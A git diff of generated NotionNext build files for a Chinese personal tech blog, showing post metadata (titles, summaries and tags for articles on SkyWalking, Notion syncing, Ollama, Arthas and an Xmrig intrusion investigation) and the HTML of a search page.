y":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":0,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"posts":[],"keyword":"NotionNext BLOG"},"__N_SSG":true},"page":"/search/[keyword]","query":{"keyword":"NotionNext BLOG"},"buildId":"mm0_cWkCfdum_vxo9wL_b","runtimeConfig":{"NODE_ENV_API":"prod","THEMES":["example","fukasawa","gitbook","heo","hexo","matery","medium","nav","next","nobelium","plog","simple"]},"isFallback":false,"gsp":true,"scriptLoader":[]}</script></body></html>
\ No newline at end of file
diff --git a/search/NotionNext BLOG/page/1.html b/search/NotionNext BLOG/page/1.html
index 30e80b8c4..4874c64b5 100644
--- a/search/NotionNext BLOG/page/1.html	
+++ b/search/NotionNext BLOG/page/1.html	
@@ -1,8 +1,8 @@
-<!DOCTYPE html><html lang="zh-CN"><head><title>NotionNext BLOG | Search | Both Savage</title><meta name="theme-color" content="#000000"/><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0, minimum-scale=1.0"/><meta name="robots" content="follow, index"/><meta charSet="UTF-8"/><meta name="keywords" content="Notion, 博客"/><meta name="description" content="Both Savage"/><meta property="og:locale" content="en_US"/><meta property="og:title" content="NotionNext BLOG | Search | Both Savage"/><meta property="og:description" content="Both Savage"/><meta property="og:url" content="https://bothsavage.github.io//search/NotionNext BLOG"/><meta property="og:image" content="https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg"/><meta property="og:site_name" content="Both Savage"/><meta property="og:type" content="website"/><meta name="twitter:card" content="summary_large_image"/><meta name="twitter:description" content="Both Savage"/><meta name="twitter:title" content="NotionNext BLOG | Search | Both Savage"/><meta name="referrer" content="no-referrer-when-downgrade"/><meta name="next-head-count" content="18"/><link rel="icon" href="/favicon.ico"/><link rel="preload" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" as="style" crossorigin="anonymous"/><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" crossorigin="anonymous" referrerPolicy="no-referrer"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css?family=Bitter&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Sans+SC:wght@300&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Serif+SC:wght@300&amp;display=swap"/><link data-next-font="" rel="preconnect" href="/" crossorigin="anonymous"/><link rel="preload" href="/_next/static/css/06c69360ab4a808f.css" as="style" crossorigin=""/><link rel="stylesheet" href="/_next/static/css/06c69360ab4a808f.css" crossorigin="" data-n-g=""/><noscript data-n-css=""></noscript><script defer="" crossorigin="" nomodule="" src="/_next/static/chunks/polyfills-c67a75d1b6f99dc8.js"></script><script src="/_next/static/chunks/webpack-3c2098fe4d6464d4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/framework-b7fa4bf8e1ae99a1.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/main-30e956e31ac22080.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/_app-e7616ab64265e571.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/search/%5Bkeyword%5D/page/%5Bpage%5D-8f5f38a8283f89e0.js" defer="" crossorigin=""></script><script src="/_next/static/xl8RIHPvivYKGN-nsdmr6/_buildManifest.js" defer="" crossorigin=""></script><script src="/_next/static/xl8RIHPvivYKGN-nsdmr6/_ssgManifest.js" defer="" crossorigin=""></script><style id="__jsx-763a7ba965151bca">.dark body{background-color:black}</style></head><body class="font-sans font-light scroll-smooth"><div id="__next"><div id="theme-gitbook" class="bg-white dark:bg-hexo-black-gray w-full h-full min-h-screen justify-center dark:text-gray-300"><div id="top-nav" class="fixed top-0 w-full z-40 undefined"><div style="height:0px;will-change:height" class="md:hidden overflow-hidden duration-200 "><div class="bg-white dark:bg-hexo-black-gray pt-1 py-2 lg:hidden "><nav id="nav" class=" text-md"><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><a target="_blank" class="py-2 w-full my-auto items-center justify-between flex  " href="https://github.com/BOTHSAVAGE"><div><div class="fab fa-github text-center w-4 mr-4"></div>Github</div></a></div><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><div class="py-2 font-extralight flex justify-between cursor-pointer  dark:text-gray-200 no-underline tracking-widest"><div><div class="fas fa-archive text-center w-4 mr-4"></div>往期整理</div><div class="inline-flex items-center "><i class="px-2 fas fa-chevron-right transition-all duration-200 "></i></div></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/archive"><div><div class="fas fa-clock-rotate-left text-center w-3 mr-3 text-xs"></div>历史归档</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/category"><div><div class="fas fa-th text-center w-3 mr-3 text-xs"></div>文章分类</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/tag"><div><div class="fas fa-tag text-center w-3 mr-3 text-xs"></div>文章标签</div></a></div></div></nav></div></div><div class="flex w-full h-14 shadow glassmorphism bg-white dark:bg-hexo-black-gray px-7 items-between"><div id="top-wrapper" class="w-full flex items-center"><div class="cursor-pointer md:hidden text-xl pr-3 hover:scale-110 duration-150"><i class="fa-solid fa-indent"></i></div><a class="flex text-md md:text-xl dark:text-gray-200" href="/"><img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" alt="Both Savage" width="24" height="24" class="mr-2 hidden md:block"/>Both Savage</a></div><div class="mr-1 flex md:hidden justify-end items-center space-x-4 font-serif dark:text-gray-200"><div class="flex text-md items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div><div class="cursor-pointer text-lg hover:scale-110 duration-150"><i class="fa-solid fa-ellipsis-vertical"></i></div></div><div class="hidden md:flex"><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><a target="_blank" href="https://github.com/BOTHSAVAGE"><i class="fab fa-github"></i> <!-- -->Github</a></div></li><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><div><i class="fas fa-archive"></i> <!-- -->往期整理<i class="px-2 fas fa-chevron-down duration-500 transition-all "></i></div></div><ul class="invisible opacity-0 top-10  border-gray-100  bg-white  dark:bg-black dark:border-gray-800 transition-all duration-300 z-20 absolute block drop-shadow-lg "><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/archive"><span class="text-xs font-extralight"><i class="fas fa-clock-rotate-left">   </i>历史归档</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/category"><span class="text-xs font-extralight"><i class="fas fa-th">   </i>文章分类</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/tag"><span class="text-xs font-extralight"><i class="fas fa-tag">   </i>文章标签</span></a></li></ul></li><div class="text-sm flex items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div></div></div></div><main id="wrapper" class="relative flex justify-between w-full h-full mx-auto"><div class="font-sans hidden md:block border-r dark:border-transparent relative z-10 "><div class="w-72 py-14 px-6 sticky top-0 overflow-y-scroll h-screen scroll-hidden"><div class="flex w-full"><input type="text" class="my-3 rounded-md outline-none w-full text-sm pl-2 transition focus:shadow-lg font-light leading-10 text-black bg-gray-100 dark:bg-gray-900 dark:text-white"/><div class="flex -ml-8 cursor-pointer float-right items-center justify-center py-2"><i class="hover:text-black transform duration-200 text-gray-500  dark:hover:text-gray-300 cursor-pointer fas fa-search"></i></div></div><div class="mb-20"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div><div class="w-72 fixed left-0 bottom-0 z-20 bg-white"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div id="center-wrapper" class="flex flex-col justify-between w-full relative z-10 pt-14 min-h-screen"><div id="container-inner" class="w-full px-7 max-w-3xl justify-center mx-auto"><div class="transition ease-in-out duration-700 transform order-first opacity-0 translate-y-16"></div><div id="jump-to-top" data-aos="fade-up" data-aos-duration="300" data-aos-once="false" data-aos-anchor-placement="top-center" class="fixed xl:right-80 right-2 mr-10 bottom-24 z-20"><i class="fas fa-chevron-up cursor-pointer p-2 rounded-full border bg-white dark:bg-hexo-black-gray"></i></div></div><div class="md:hidden"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div style="width:32rem" class="hidden xl:block dark:border-transparent relative z-10 "><div class="py-14 px-6 sticky top-0"><div class="py-4"></div></div></div></main><div id="gitbook-left-float" class="fixed top-0 left-0 z-40 md:hidden"><div class="-ml-80 animate__slideOutLeft overflow-y-hidden shadow-card w-72 duration-200 fixed left-1 top-16 rounded py-2 bg-white dark:bg-gray-600"><div class="dark:text-gray-400 text-gray-600 h-96 overflow-y-scroll p-3"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 